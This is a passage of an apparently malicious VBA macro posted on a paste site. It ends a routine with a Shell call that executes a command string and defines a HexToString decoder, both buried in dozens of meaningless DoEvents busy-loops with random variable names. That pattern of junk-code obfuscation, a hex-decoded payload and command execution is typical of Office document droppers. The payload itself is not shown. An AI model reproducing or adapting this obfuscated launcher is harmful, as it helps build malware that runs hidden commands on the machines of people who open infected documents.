  1059. Loop
  1060.  
  1061.  
  1062. Dim ynsmeMYQ As Integer
  1063. ynsmeMYQ = 2
  1064. Do While ynsmeMYQ < 87
  1065. DoEvents: ynsmeMYQ = ynsmeMYQ + 1
  1066. Loop
  1067.  
  1068.     eFJGdsff = Shell(sUdsfsdf, 1)
  1069.  
  1070. End Sub
  1071.  
  1072. Public Function HexToString(ByVal hextext As String) As String
  1073.  
  1074. Dim wWbztFwG As Integer
  1075.  
  1076. Dim GUPqhtPg As Integer
  1077. GUPqhtPg = 5
  1078. Do While GUPqhtPg < 48
  1079. DoEvents: GUPqhtPg = GUPqhtPg + 1
  1080. Loop
  1081.  
  1082. wWbztFwG = 2
  1083. Do While wWbztFwG < 12
  1084.  
  1085. Dim uRXhQDWq As Integer
  1086. uRXhQDWq = 8
  1087. Do While uRXhQDWq < 78
  1088. DoEvents: uRXhQDWq = uRXhQDWq + 1
  1089. Loop
  1090.  
  1091. DoEvents: wWbztFwG = wWbztFwG + 1
  1092.  
  1093. Dim EVQinjcM As Integer
  1094. EVQinjcM = 3
  1095. Do While EVQinjcM < 84
  1096. DoEvents: EVQinjcM = EVQinjcM + 1
  1097. Loop
  1098.  
  1099. Loop
  1100.  
  1101.  
  1102. Dim yPwhqFgT As Integer
  1103. yPwhqFgT = 8
  1104. Do While yPwhqFgT < 42
  1105. DoEvents: yPwhqFgT = yPwhqFgT + 1
  1106. Loop
  1107.  
  1108.    
  1109. For y = 1 To Len(hextext)
  1110.  
  1111. Dim DKQuAxYQ As Integer
  1112.  
  1113. Dim ApQiblsP As Integer
  1114. ApQiblsP = 3
  1115. Do While ApQiblsP < 76
  1116. DoEvents: ApQiblsP = ApQiblsP + 1
  1117. Loop
  1118.  
  1119. DKQuAxYQ = 5
  1120. Do While DKQuAxYQ < 41
  1121.  
  1122. Dim rXwhqJex As Integer
  1123. rXwhqJex = 8
  1124. Do While rXwhqJex < 34
  1125. DoEvents: rXwhqJex = rXwhqJex + 1
  1126. Loop
  1127.  
  1128. DoEvents: DKQuAxYQ = DKQuAxYQ + 1
  1129.  
  1130. Dim GPlvEueK As Integer
  1131. GPlvEueK = 3
  1132. Do While GPlvEueK < 49
  1133. DoEvents: GPlvEueK = GPlvEueK + 1
  1134. Loop
  1135.  
  1136. Loop
  1137.  
  1138.  
  1139. Dim jxtTfTWR As Integer
  1140. jxtTfTWR = 7
  1141. Do While jxtTfTWR < 96
  1142. DoEvents: jxtTfTWR = jxtTfTWR + 1
  1143. Loop
  1144.  
  1145.     num = Mid(hextext, y, 2)
  1146.  
  1147. Dim qsnBhNom As Integer
  1148.  
  1149. Dim RVFXklSQ As Integer
  1150. RVFXklSQ = 3
  1151. Do While RVFXklSQ < 59
  1152. DoEvents: RVFXklSQ = RVFXklSQ + 1
  1153. Loop
  1154.  
  1155. qsnBhNom = 9
  1156. Do While qsnBhNom < 46
  1157.  
  1158. Dim mtIlYZzo As Integer
  1159. mtIlYZzo = 1
  1160. Do While mtIlYZzo < 65
  1161. DoEvents: mtIlYZzo = mtIlYZzo + 1
  1162. Loop
  1163.  
  1164. DoEvents: qsnBhNom = qsnBhNom + 1
  1165.  
  1166. Dim DKDBypFV As Integer
  1167. DKDBypFV = 5
  1168. Do While DKDBypFV < 41
  1169. DoEvents: DKDBypFV = DKDBypFV + 1
  1170. Loop
  1171.  
  1172. Loop
  1173.  
  1174.  
  1175. Dim EBUcmmrw As Integer
  1176. EBUcmmrw = 3
  1177. Do While EBUcmmrw < 22
  1178. DoEvents: EBUcmmrw = EBUcmmrw + 1
  1179. Loop
  1180.  
  1181.     Value = Value & Chr(CDbl("&h" & num))
  1182.  
  1183. Dim lqyAAJfk As Integer
  1184.  
  1185. Dim HnhDciWZ As Integer
  1186. HnhDciWZ = 5
  1187. Do While HnhDciWZ < 19
  1188. DoEvents: HnhDciWZ = HnhDciWZ + 1
  1189. Loop
  1190.  
  1191. lqyAAJfk = 1
  1192. Do While lqyAAJfk < 94
  1193.  
  1194. Dim JwOgaoKJ As Integer
  1195. JwOgaoKJ = 5
  1196. Do While JwOgaoKJ < 18
  1197. DoEvents: JwOgaoKJ = JwOgaoKJ + 1
  1198. Loop
  1199.  
  1200. DoEvents: lqyAAJfk = lqyAAJfk + 1
  1201.  
  1202. Dim AqUclcKd As Integer
  1203. AqUclcKd = 9
  1204. Do While AqUclcKd < 24
  1205. DoEvents: AqUclcKd = AqUclcKd + 1
  1206. Loop
  1207.  
  1208. Loop
  1209.  
  1210.  
  1211. Dim kkAWIUuP As Integer
  1212. kkAWIUuP = 8
  1213. Do While kkAWIUuP < 96
  1214. DoEvents: kkAWIUuP = kkAWIUuP + 1
  1215. Loop
  1216.  
  1217.     y = y + 1
  1218. Next y
  1219.  
  1220.  
  1221. Dim ljYAaKUD As Integer
  1222.  
  1223. Dim HEaLjCxl As Integer
  1224. HEaLjCxl = 5
  1225. Do While HEaLjCxl < 19
  1226. DoEvents: HEaLjCxl = HEaLjCxl + 1
  1227. Loop
  1228.  
  1229. ljYAaKUD = 1
  1230. Do While ljYAaKUD < 67
  1231.  
  1232. Dim YPWkTuQH As Integer
  1233. YPWkTuQH = 3
  1234. Do While YPWkTuQH < 82
  1235. DoEvents: YPWkTuQH = YPWkTuQH + 1
  1236. Loop
  1237.  
  1238. DoEvents: ljYAaKUD = ljYAaKUD + 1
  1239.  
  1240. Dim fLpdInWj As Integer
  1241. fLpdInWj = 9
  1242. Do While fLpdInWj < 81
  1243. DoEvents: fLpdInWj = fLpdInWj + 1
  1244. Loop
  1245.  
  1246. Loop
  1247.  
  1248.  
  1249. Dim kwdanxIn As Integer
  1250. kwdanxIn = 1
  1251. Do While kwdanxIn < 96
  1252. DoEvents: kwdanxIn = kwdanxIn + 1
  1253. Loop
  1254.  
  1255. HexToString = Value
  1256. End Function
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement